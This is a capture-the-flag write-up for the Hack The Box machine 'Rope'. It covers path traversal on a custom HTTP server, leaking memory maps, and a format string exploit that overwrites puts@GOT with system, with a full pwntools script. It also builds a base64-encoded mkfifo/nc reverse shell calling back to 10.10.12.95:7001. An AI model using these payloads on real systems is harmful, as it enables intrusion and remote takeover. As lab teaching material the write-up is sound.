
This article contains my writeup on the machine Rope
from Hack The Box. I really enjoyed the box, since it provides a total of three custom binaries, which are supposed to be exploited 🙂

The article is divided into the following parts:
→ User
    – Initial Recon
    – httpserver
    – Leak Memory Address
    – Exploit Format String Vulnerability
    – Escalating from john to r4j (readlogs)
→ Root
    – Local Recon
    – contact
    – Bruteforce
    – Libc Leak
    – Final Exploit
User
Initial Recon
We start by scanning the 1000 most common ports using nmap
(-sV
: version detection, -sC
: run default scripts):
root@kali:~/htb/boxes/rope# nmap -sV -sC 10.10.10.148 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-08 06:50 EDT Nmap scan report for 10.10.10.148 Host is up (0.010s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA) | 256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA) |_ 256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519) 9999/tcp open abyss? | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 200 OK | Accept-Ranges: bytes | Cache-Control: no-cache | Content-length: 4871 | Content-type: text/html | <!DOCTYPE html> | <html lang="en"> | <head> | <title>Login V10</title> ... 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9999-TCP:V=7.80%I=7%D=10/8%Time=5D9C69E2%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,1378,"HTTP/1\.1\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\nCac SF:he-Control:\x20no-cache\r\nContent-length:\x204871\r\nContent-type:\x20 ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 142.66 seconds
Accordingly there is an OpenSSH
server running on port 22
. Port 9999
is also open, though nmap
cannot determine the service/version. Based on the output it is obviously a web server running on this port.
Do not forget to also run a full port scan e.g. using nmap 10.10.10.148 -p-
. We should also check for UDP
services, though there are none running here.
Since we cannot do much with SSH for now, let’s have a closer look at the web server running on port 9999
. The root-page displays a login prompt:

There is some javascript code for clientside validation of the input fields, but this does not lead to anything useful. When static resources like the root-page are accessed the server does not provide a Server
header, which may reveal what kind of web server is in place:
root@kali:~/htb/boxes/rope# curl -v http://10.10.10.148:9999 * Trying 10.10.10.148:9999... * TCP_NODELAY set * Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0) > GET / HTTP/1.1 > Host: 10.10.10.148:9999 > User-Agent: curl/7.65.3 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Accept-Ranges: bytes < Cache-Control: no-cache < Content-length: 4871 < Content-type: text/html < <!DOCTYPE html> <html lang="en"> ...
However, when we try to access a non existing page, a Server
header is provided:
root@kali:~/htb/boxes/rope# curl -v http://10.10.10.148:9999/totally_not_existing * Trying 10.10.10.148:9999... * TCP_NODELAY set * Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0) > GET /totally_not_existing HTTP/1.1 > Host: 10.10.10.148:9999 > User-Agent: curl/7.65.3 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 404 Not found < Server: simple http server < Content-length: 14 < * Connection #0 to host 10.10.10.148 left intact File not found
Accordingly the server is called simple http server
. Despite the similar name of the popular python SimpleHTTP server (banner: SimpleHTTP/0.6 Python/XXX
), this does not seem to be a well-known web server.
By feeding some custom inputs to the web server, we can figure out that we can list all files in the web server’s current directory by simply issuing a GET
request to .
(dot):
root@kali:~/htb/boxes/rope# echo -ne 'GET .\r\n\r\n'|nc 10.10.10.148 9999 HTTP/1.1 200 OK Server: simple http server Content-Type: text/html <html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table> <tr><td><a href="fonts/">fonts/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr> <tr><td><a href="index.html">index.html</a></td><td>2019-06-19 17:34</td><td>4.8K</td></tr> <tr><td><a href="images/">images/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr> <tr><td><a href="httpserver">httpserver</a></td><td>2019-06-19 17:30</td><td>21.3K</td></tr> <tr><td><a href="js/">js/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr> <tr><td><a href="vendor/">vendor/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr> <tr><td><a href="css/">css/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr> <tr><td><a href="run.sh">run.sh</a></td><td>2019-06-20 07:27</td><td>85</td></tr> </table></body></html>
The directory contains a file called httpserver
, which probably is the web server itself. So let’s grab this file:
root@kali:~/htb/boxes/rope# mkdir loot root@kali:~/htb/boxes/rope# cd loot root@kali:~/htb/boxes/rope/loot# wget http://10.10.10.148:9999/httpserver --2019-10-08 07:44:04-- http://10.10.10.148:9999/httpserver Connecting to 10.10.10.148:9999... connected. HTTP request sent, awaiting response... 200 OK Length: 21840 (21K) Saving to: ‘httpserver’ httpserver 100%[==========================================================>] 21.33K --.-KB/s in 0.01s 2019-10-08 07:44:04 (2.17 MB/s) - ‘httpserver’ saved [21840/21840]
httpserver
The file is a 32-bit ELF binary:
root@kali:~/htb/boxes/rope/loot# file httpserver httpserver: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped
Stack canaries
, NX
as well as PIE
are enabled:
root@kali:~/htb/boxes/rope/loot# checksec httpserver [*] '/root/htb/boxes/rope/loot/httpserver' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
In order to get a quick overview what the binary is doing, I usually use ghidra
. By giving the used variables meaningful names and adding comments to the decompiled code it is a good way to document acquired insights.
The following pictures shows an excerpt of the decompile window of ghidra
. The main
function of the program is listening for new connections in an infinite loop and calls the function process
for every new connection:

Within the process
function a new process is forked to handle the connection. This process parses the HTTP request and sends the respective HTTP response. The details are not relevant for our consideration, so I skip them here. After spending some time to get a good overview of how the HTTP request is parsed and how the response is constructed, I started looking for obvious vulnerabilities. The function log_access
, which logs each HTTP request, quickly caught my attention:

The decompiled output from ghidra
quickly shows that on line 19 a variable (param_3
) is passed as the first parameter to printf
. As the first parameter of printf
is the format string to be used, this should in almost all cases be a static string instead of a dynamic variable. If the user can control this variable, the program is prone to a format string vulnerability.
In order to determine what the variable param_3
contains, we can analyze the code statically or simple run the program locally in gdb
and set a breakpoint on the log_access
function. To conveniently debug the program, we can run the binary (./httpserver
) and attach to the running process afterwards:
root@kali:~/htb/boxes/rope/loot# gdb ./httpserver $(pidof httpserver) ... gdb-peda$ b *log_access Breakpoint 1 at 0x56557077 gdb-peda$ c Continuing.
This way we can send different payloads to the server without restarting it all the time.
If we now issue a HTTP request to the locally running web server, the breakpoint is hit:
root@kali:~# curl http://0:9999 ...
[Attaching after process 7413 fork to child process 7435] [New inferior 2 (process 7435)] [Detaching after fork from parent process 7413] [Inferior 1 (process 7413) detached] [Switching to process 7435] [----------------------------------registers-----------------------------------] EAX: 0xffffc9d4 ("./index.html") EBX: 0x5655a000 --> 0x4efc ECX: 0x7ffffff5 EDX: 0xf7fb2010 --> 0x0 ESI: 0xf7fb0000 --> 0x1d6d6c EDI: 0xf7fb0000 --> 0x1d6d6c EBP: 0xffffd1e8 --> 0xffffd348 --> 0x0 ESP: 0xffffc93c --> 0x565576e3 (<process+524>: add esp,0x10) EIP: 0x56557077 (<log_access>: push ebp) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56557072 <parse_request+595>: mov ebx,DWORD PTR [ebp-0x4] 0x56557075 <parse_request+598>: leave 0x56557076 <parse_request+599>: ret => 0x56557077 <log_access>: push ebp 0x56557078 <log_access+1>: mov ebp,esp 0x5655707a <log_access+3>: push esi 0x5655707b <log_access+4>: push ebx 0x5655707c <log_access+5>: sub esp,0x20 [------------------------------------stack-------------------------------------] 0000| 0xffffc93c --> 0x565576e3 (<process+524>: add esp,0x10) 0004| 0xffffc940 --> 0xc8 0008| 0xffffc944 --> 0xffffd22c --> 0xaae40002 0012| 0xffffc948 --> 0xffffc9d4 ("./index.html") 0016| 0xffffc94c --> 0x13 0020| 0xffffc950 --> 0xffffc9a4 --> 0xf7ec0000 (<wordexp+2656>: test BYTE PTR [eax+ecx*4],ah) 0024| 0xffffc954 --> 0xffffc9a0 --> 0x0 0028| 0xffffc958 --> 0xffffd22c --> 0xaae40002 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Thread 2.1 "httpserver" hit Breakpoint 1, 0x56557077 in log_access () gdb-peda$
The third parameter (param_3
) is the fourth item on the stack, which is the string "./index.html"
. This is the resource we requested within the HTTP request (in this case the string "./index.html"
was set by the program since we only queried the root-page "/"
). If you experience that the breakpoint is not hit on the first request, just resend the request and the breakpoint will eventually be hit.
In order to verify that the web server is vulnerable to a format string vulnerability, let’s start by dumping a few memory address. In order to do this, we can request a resource, which contains the format specifier %p
. When getting a quick overview of the program you probably noticed that the requested resource is URL decoded by calling the function url_decode
before being logged. This function simply looks for a percent sign (%
) and interprets the following two characters as a hex value. This simply means, that we have to URL encode the percent sign we want to use in our format specifier (%25
):
root@kali:~/htb/boxes/rope# echo -ne 'GET %25p.%25p.%25p.%25p\r\n\r\n'|nc 0 9999 HTTP/1.1 404 Not found Server: simple http server Content-length: 14 File not found
... accept request, fd is 4, pid is 9115 127.0.0.1:35620 404 - 0xf7f840dc.0x8b24.0x194.0xfff32ab8 request method: GET
We successfully dumped four values from memory and confirmed that the program is vulnerable to a format string vulnerability.
How can we exploit this?
We have already seen that the program is not compiled with full RELRO
:
root@kali:~/htb/boxes/rope/loot# checksec httpserver [*] '/root/htb/boxes/rope/loot/httpserver' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
This means that we can overwrite an entry within the GOT
in order to control the instruction pointer. The problem is that the program is compiled as a Position Independent Executable
(PIE
) and we thus don’t know the address of the GOT
. Accordingly we need a leak first.
Leak Memory Address
We have already seen, that the web server can be used to list the content of the current directory. We can also traverse through the file system and read arbitrary files (if we have read access). For example we can read the passwd
file using the following command:
root@kali:~/htb/boxes/rope# echo -ne 'GET ../../etc/passwd\r\n\r\n'|nc 10.10.10.148 9999 HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: no-cache Content-length: 1594 Content-type: text/plain root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin r4j:x:1000:1000:r4j:/home/r4j:/bin/bash john:x:1001:1001:,,,:/home/john:/bin/bash
In order to get the address of the current process, we should simply be able to read the memory maps from /proc/self/maps
:
root@kali:~/htb/boxes/rope# echo -ne 'GET ../../proc/self/maps\r\n\r\n'|nc 10.10.10.148 9999 HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: no-cache Content-length: 0 Content-type: text/plain
Ouh? We get a HTTP 200 OK response, but the response body is empty. Also the Content-length
is set to zero. Why is this?
The reason for this is that /proc
is a pseudo-file system. The output when we run cat /proc/self/maps
is generated on the fly. There is no file stored on the hard disk waiting to be read. Because of this the file size is actually zero. The following example program demonstrates this:
root@kali:~/htb/boxes/rope/test# cat fstat_test.c #include <stdlib.h> #include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char *argv[]) { if (argc < 2) return -1; int f = open(argv[1], O_RDONLY); struct stat buffer; fstat(f, &buffer); printf("size: %d\n", buffer.st_size); close(f); return 0; }
root@kali:~/htb/boxes/rope/test# gcc fstat_test.c -o fstat_test root@kali:~/htb/boxes/rope/test# ./fstat_test /etc/passwd size: 2996 root@kali:~/htb/boxes/rope/test# ./fstat_test /proc/self/maps size: 0
We can also see that the file size is zero using ls
:
root@kali:~/htb/boxes/rope/test# ls -al /proc/self/maps -r--r--r-- 1 root root 0 Oct 8 09:50 /proc/self/maps
Because of this the web server can open /proc/self/maps
but only sends zero bytes from the file. Luckily the web server provides a way to actively set the file size we want to read by setting the Range
header:

By providing this header in the request, we can successfully read the memory layout from /proc/self/maps
:
root@kali:~/htb/boxes/rope/test# echo -ne 'GET ../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n'|nc 10.10.10.148 9999 HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: no-cache Content-length: 10001 Content-type: text/plain 56624000-56625000 r--p 00000000 08:02 660546 /opt/www/httpserver 56625000-56627000 r-xp 00001000 08:02 660546 /opt/www/httpserver 56627000-56628000 r--p 00003000 08:02 660546 /opt/www/httpserver 56628000-56629000 r--p 00003000 08:02 660546 /opt/www/httpserver 56629000-5662a000 rw-p 00004000 08:02 660546 /opt/www/httpserver 57367000-57389000 rw-p 00000000 00:00 0 [heap] f7de3000-f7fb5000 r-xp 00000000 08:02 660685 /lib32/libc-2.27.so f7fb5000-f7fb6000 ---p 001d2000 08:02 660685 /lib32/libc-2.27.so f7fb6000-f7fb8000 r--p 001d2000 08:02 660685 /lib32/libc-2.27.so f7fb8000-f7fb9000 rw-p 001d4000 08:02 660685 /lib32/libc-2.27.so f7fb9000-f7fbc000 rw-p 00000000 00:00 0 f7fc5000-f7fc7000 rw-p 00000000 00:00 0 f7fc7000-f7fca000 r--p 00000000 00:00 0 [vvar] f7fca000-f7fcc000 r-xp 00000000 00:00 0 [vdso] f7fcc000-f7ff2000 r-xp 00000000 08:02 660681 /lib32/ld-2.27.so f7ff2000-f7ff3000 r--p 00025000 08:02 660681 /lib32/ld-2.27.so f7ff3000-f7ff4000 rw-p 00026000 08:02 660681 /lib32/ld-2.27.so ff98a000-ff9ab000 rw-p 00000000 00:00 0 [stack]
Because the program is forking new child processes, the addresses will stay the same on every request.
Exploit Format String Vulnerability
Since we now have leaked the memory maps of the process, we can forge an exploit for the format string vulnerability.
As already mentioned, our goal is to overwrite an entry within the GOT
. The only function, which is called after the printf
is puts
(line 20-22):

The easiest way to get a shell by overwriting a single address is to use a one_gadget (see my article on heap exploitation for an explanation). The problem in this case is that the shell will be bound to stdin/stdout
(fd 0/1
), but we are interacting with the process through a socket connection (fd 4
). In order to interact with the shell, we could call dup2(4,0)
and dup(4,1)
, which would bind stdin
and stdout
to the socket connection. Though, the format string vulnerability cannot be easily used to write all the data necessary to trigger those calls.
Thus I decided not to use a one_gadget. Instead let’s have a look at the puts
calls after the printf
again:

The third puts
on line 22
will print out the request method. We make the request. We control the request method. This means we control the one and only parameter to puts
, which is a string. If we change puts
to system
by overwriting the GOT
entry of puts
with the address of system
, we can trigger an arbitrary OS command. We only have to set the request method to the name of the program, we want to execute.
The details on how to leverage a format string vulnerability to write data using the %n
format specifier can also be read in my article on RPISEC/MBE lab4B. Though, let’s quickly recap the necessary steps. At first we need to know where on the stack the format string itself is located at the time printf
is called. In order to do this, we set a breakpoint on the printf
call …
gdb-peda$ disassemble log_access Dump of assembler code for function log_access: ... 0x565570e5 <+110>: mov eax,DWORD PTR [ebp-0x24] 0x565570e8 <+113>: sub esp,0xc 0x565570eb <+116>: push eax 0x565570ec <+117>: call 0x56556060 <printf@plt> ... End of assembler dump. gdb-peda$ b *log_access+117 Breakpoint 1 at 0x565570ec gdb-peda$ c
… and send a request to our local server:
root@kali:~/htb/boxes/rope# echo -ne 'GET AAAA\r\n\r\n'|nc 0 9999 HTTP/1.1 404 Not found Server: simple http server Content-length: 14 File not found
The breakpoint is hit:
[----------------------------------registers-----------------------------------] EAX: 0xffffc984 ("AAAA") EBX: 0x5655a000 --> 0x4efc ECX: 0x7fffffec EDX: 0xf7fb2010 --> 0x0 ESI: 0xdea8 EDI: 0xf7fb0000 --> 0x1d6d6c EBP: 0xffffc8e8 --> 0xffffd198 --> 0xffffd2f8 --> 0x0 ESP: 0xffffc8b0 --> 0xffffc984 ("AAAA") EIP: 0x565570ec (<log_access+117>: call 0x56556060 <printf@plt>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x565570e5 <log_access+110>: mov eax,DWORD PTR [ebp-0x24] 0x565570e8 <log_access+113>: sub esp,0xc 0x565570eb <log_access+116>: push eax => 0x565570ec <log_access+117>: call 0x56556060 <printf@plt> 0x565570f1 <log_access+122>: add esp,0x10 0x565570f4 <log_access+125>: sub esp,0xc 0x565570f7 <log_access+128>: lea eax,[ebx-0x1e1e] 0x565570fd <log_access+134>: push eax Guessed arguments: arg[0]: 0xffffc984 ("AAAA") [------------------------------------stack-------------------------------------] 0000| 0xffffc8b0 --> 0xffffc984 ("AAAA") 0004| 0xffffc8b4 --> 0xf7fcf0dc ("127.0.0.1") 0008| 0xffffc8b8 --> 0xdea8 0012| 0xffffc8bc --> 0x194 0016| 0xffffc8c0 --> 0xffffd198 --> 0xffffd2f8 --> 0x0 0020| 0xffffc8c4 --> 0xffffc984 ("AAAA") 0024| 0xffffc8c8 --> 0xffffd1dc --> 0xa8de0002 0028| 0xffffc8cc --> 0x194 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570ec in log_access () gdb-peda$
Now we can search where on the stack the format string ("AAAA"
) is located:
gdb-peda$ searchmem "AAAA" Searching for 'AAAA' in: None ranges Found 3 results, display max 3 items: [stack] : 0xffffb8e0 ("AAAA\r\n\r\n") [stack] : 0xffffbce0 ("AAAA\r\n") [stack] : 0xffffc984 ("AAAA")
The string is stored on the stack three times. Since we can only reference items below the current stack address (higher address value), only the last one is suitable. In order to calculate the value for the argument selector we simply subtract this address from the current stack address and divide it by 4 (32bit):
gdb-peda$ p/d (0xffffc984-0xffffc8b0)/4 $1 = 53
Thus the argument selector which references the format string itself is 53
. We can quickly verify this by making the following request (remember to URL encode the percent sign '%'
):
root@kali:~/htb/boxes/rope# echo -ne 'GET AAAA%2553$p\r\n\r\n'|nc 0 9999 ... root@kali:~/htb/boxes/rope/loot# ./httpserver listen on port 9999, fd is 3 accept request, fd is 4, pid is 3700 127.0.0.1:57002 404 - AAAA0x41414141 request method: GET
The string "AAAA"
is followed by the value 0x41414141
, which is indeed the format string. Thus we successfully determined the value for the argument selector.
Before we can carry on, we need to determine a few addresses and offsets. Namely we need to know the following:
- address of image base
- address of libc base
- offset of
puts
GOT
entry within the image - offset of
system
within the libc
We have already figured out, that we can leak the addresses through /proc/self/maps
. The following python script carries out the corresponding request and extracts the image base and libc base:
#!/usr/bin/env python from pwn import * debug = False rhost = '10.10.10.148' rport = 9999 if (debug): rhost = '127.0.0.1' # leak image and libc base io = remote(rhost, rport) io.send('GET ../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n') maps = io.recvuntil('[stack]').split('\n') img_base = int(maps[6].split('-')[0], 16) # 7th line contains image base libc_base = int(maps[12].split('-')[0], 16) # 13th line contains libc base log.info('img_base : ' + hex(img_base)) log.info('libc_base: ' + hex(libc_base)) io.close()
Running the script displays both addresses:
root@kali:~/htb/boxes/rope# ./expl.py [+] Opening connection to 10.10.10.148 on port 9999: Done [*] img_base : 0x565ec000 [*] libc_base: 0xf7cff000
In order to determine the offset of the GOT
entry of puts
, we can for example use gdb
:
root@kali:~/htb/boxes/rope/loot# gdb ./httpserver GNU gdb (Debian 8.3-1) 8.3 ... gdb-peda$ p &'puts@got.plt' $1 = (<text from jump slot in .got.plt, no debug info> *) 0x5048 <puts@got.plt> gdb-peda$
Accordingly the offset is 0x5048
.
In order to determine the offset of the system
function within the libc, we need to get the libc version from the server. Within the memory maps of the server process, we have already seen which libc is used: /lib32/libc-2.27.so
. Let’s download it using nc
(we must cut the first bytes, which contain the HTTP response header):
root@kali:~/htb/boxes/rope/loot# echo -ne 'GET ../../lib32/libc-2.27.so\r\n\r\n'|nc 10.10.10.148 9999 > libc-2.27.so.req root@kali:~/htb/boxes/rope/loot# hexdump -C libc-2.27.so.req|head 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d |HTTP/1.1 200 OK.| 00000010 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 |.Accept-Ranges: | 00000020 62 79 74 65 73 0d 0a 43 61 63 68 65 2d 43 6f 6e |bytes..Cache-Con| 00000030 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a |trol: no-cache..| 00000040 43 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 |Content-length: | 00000050 31 39 32 36 38 32 38 0d 0a 43 6f 6e 74 65 6e 74 |1926828..Content| 00000060 2d 74 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 |-type: text/plai| 00000070 6e 0d 0a 0d 0a 7f 45 4c 46 01 01 01 03 00 00 00 |n.....ELF.......| 00000080 00 00 00 00 00 03 00 03 00 01 00 00 00 00 90 01 |................| 00000090 00 34 00 00 00 0c 5c 1d 00 00 00 00 00 34 00 20 |.4....\......4. | root@kali:~/htb/boxes/rope/loot# dd if=libc-2.27.so.req of=libc-2.27.so bs=1 skip=$(rax2 0x75) 1926828+0 records in 1926828+0 records out 1926828 bytes (1.9 MB, 1.8 MiB) copied, 2.92157 s, 660 kB/s root@kali:~/htb/boxes/rope/loot# file libc-2.27.so libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=63b3d43ad45e1b0f601848c65b067f9e9b40528b, for GNU/Linux 3.2.0, stripped
Now we can for example use pwntools
to determine the offset of system
:
root@kali:~/htb/boxes/rope/loot# python Python 2.7.16+ (default, Sep 4 2019, 08:19:57) [GCC 9.2.1 20190827] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> libc = ELF('libc-2.27.so') [*] '/root/htb/boxes/rope/loot/libc-2.27.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled >>> hex(libc.symbols['system']) '0x3cd10'
The offset is 0x3cd10
.
In order to debug the program locally, we have to use the system
offset from our local libc:
root@kali:~/htb/boxes/rope/loot# ldd httpserver linux-gate.so.1 (0xf7fd3000) libc.so.6 => /lib32/libc.so.6 (0xf7dd3000) /lib/ld-linux.so.2 (0xf7fd4000) root@kali:~/htb/boxes/rope/loot# python Python 2.7.16+ (default, Sep 4 2019, 08:19:57) [GCC 9.2.1 20190827] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> libc = ELF('/lib32/libc.so.6') [*] '/lib32/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled >>> hex(libc.symbols['system']) '0x423d0'
In order to write the address of system
to the GOT
entry of puts
, we split the 4-byte-write into two 2-byte-writes using the format specifier %hn
. Because of this we have to store the address of puts_got
and puts_got+2
at the beginning of the format string. After this we pad the output to create enough bytes to write the value of the system
address (as mentioned before, details on this can be read in this article):
# calculate addresses puts_got = img_base + 0x5048 # live server system = libc_base + 0x3cd10 # live server if (debug): system = libc_base + 0x423d0 # local log.info('puts_got : ' + hex(puts_got)) log.info('system : ' + hex(system)) # craft format string system_lword = system & 0xffff system_hword = system >> 16 fmt = p32(puts_got) fmt += p32(puts_got+2) fmt += '%25'+str(system_lword-8)+'x' fmt += '%2553$hn' fmt += '%25'+str(system_hword-system_lword)+'x' fmt += '%2554$hn' io = remote(rhost, rport) io.send('GET '+fmt+'\r\n\r\n') io.interactive()
Let’s verify if the GOT
entry is successfully overwritten by setting a breakpoint on the printf
call and run the python script against our local server. When the breakpoint is hit before the printf
call, the GOT
entry contains the value 0x56556126
:
... [-------------------------------------code-------------------------------------] 0x565570e5 <log_access+110>: mov eax,DWORD PTR [ebp-0x24] 0x565570e8 <log_access+113>: sub esp,0xc 0x565570eb <log_access+116>: push eax => 0x565570ec <log_access+117>: call 0x56556060 <printf@plt> 0x565570f1 <log_access+122>: add esp,0x10 0x565570f4 <log_access+125>: sub esp,0xc 0x565570f7 <log_access+128>: lea eax,[ebx-0x1e1e] 0x565570fd <log_access+134>: push eax Guessed arguments: arg[0]: 0xffffc9d4 --> 0x5655a048 ("&aUV6aUVFaUVVaUV\360*\354\367vaUV\206aUV\300\a\341\367\020=\354\367\340-\346\367\360v\337\367\220/\354\367p[\355\367\260\244\342\367\220\253\361\367\026bUV0\266\351\367\066bUV0H\356\367\320]\355\367fbUV@H\356\367\206bUV@\224\342\367\246bUVpb\355\367\320:\354\367\326bUV") [------------------------------------stack-------------------------------------] 0000| 0xffffc900 --> 0xffffc9d4 --> 0x5655a048 ("&aUV6aUVFaUVVaUV\360*\354\367vaUV\206aUV\300\a\341\367\020=\354\367\340-\346\367\360v\337\367\220/\354\367p[\355\367\260\244\342\367\220\253\361\367\026bUV0\266\351\367\066bUV0H\356\367\320]\355\367fbUV@H\356\367\206bUV@\224\342\367\246bUVpb\355\367\320:\354\367\326bUV") 0004| 0xffffc904 --> 0xf7fcf0dc ("127.0.0.1") ... [------------------------------------------------------------------------------] Legend: code, data, rodata, value Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570ec in log_access () gdb-peda$ x/xw 0x5655a048 0x5655a048 <puts@got.plt>: 0x56556126
Stepping over the printf
call (ni
), we can see that the value changed:
gdb-peda$ ni ... gdb-peda$ x/xw 0x5655a048 0x5655a048 <puts@got.plt>: 0xf7e1b3d0
This is actually the address of system
:
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e1b3d0 <system>
Now all subsequent calls to puts
will turn into calls to system
:

This means that the program will call:
system(""); system("request method:"); system(param_3+0x400);
The first two calls will probably fail, though we do not care. The third call uses the variable param_3+0x400
, which is the request method as we already figured out. Let’s have a look at what is happening, if we change the request method to /bin/sh
:
... fmt += '%25'+str(system_hword-system_lword)+'x' fmt += '%2554$hn' io = remote(rhost, rport) io.send('/bin/sh '+fmt+'\r\n\r\n') io.interactive()
root@kali:~/htb/boxes/rope/loot# ./httpserver listen on port 9999, fd is 3 ... sh: 1: request: not found # id uid=0(root) gid=0(root) groups=0(root) # exit
We can actually see, that the server tried to run the program request
from the second call. After this /bin/sh
is executed, spawning a shell. However this shell is bound to stdin/stdout
of the server and we cannot interact with it. We can circumvent this by running a command, which gives us a detached shell. For this purpose I tried different reverse shells from pentestmonkey.net. In order to avoid problems with special characters, we can base64 encode the reverse shell beforehand:
root@kali:~/htb/boxes/rope# echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.12.95 7001 >/tmp/f' | base64 -w0 cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==
And decode it on the server:
payload = 'echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==|base64 -d|bash'
Now the payload contains spaces, which will separate the request method from the requested resource. This won’t work, since we need all of the payload to be within the request method. In order to prevent spaces, we can use the internal field separator:
payload = payload.replace(' ', '${IFS}') io.send(payload+' '+fmt+'\r\n\r\n')
If we now listen on port 7001
and trigger our python script against the server, we successfully receive a reverse shell:
root@kali:~/htb/boxes/rope# ./expl.py [+] Opening connection to 10.10.10.148 on port 9999: Done [*] img_base : 0x565ec000 [*] libc_base: 0xf7cff000 [*] Closed connection to 10.10.10.148 port 9999 [*] puts_got : 0x565f1048 [*] system : 0xf7d3bd10 [+] Opening connection to 10.10.10.148 on port 9999: Done [*] Closed connection to 10.10.10.148 port 9999
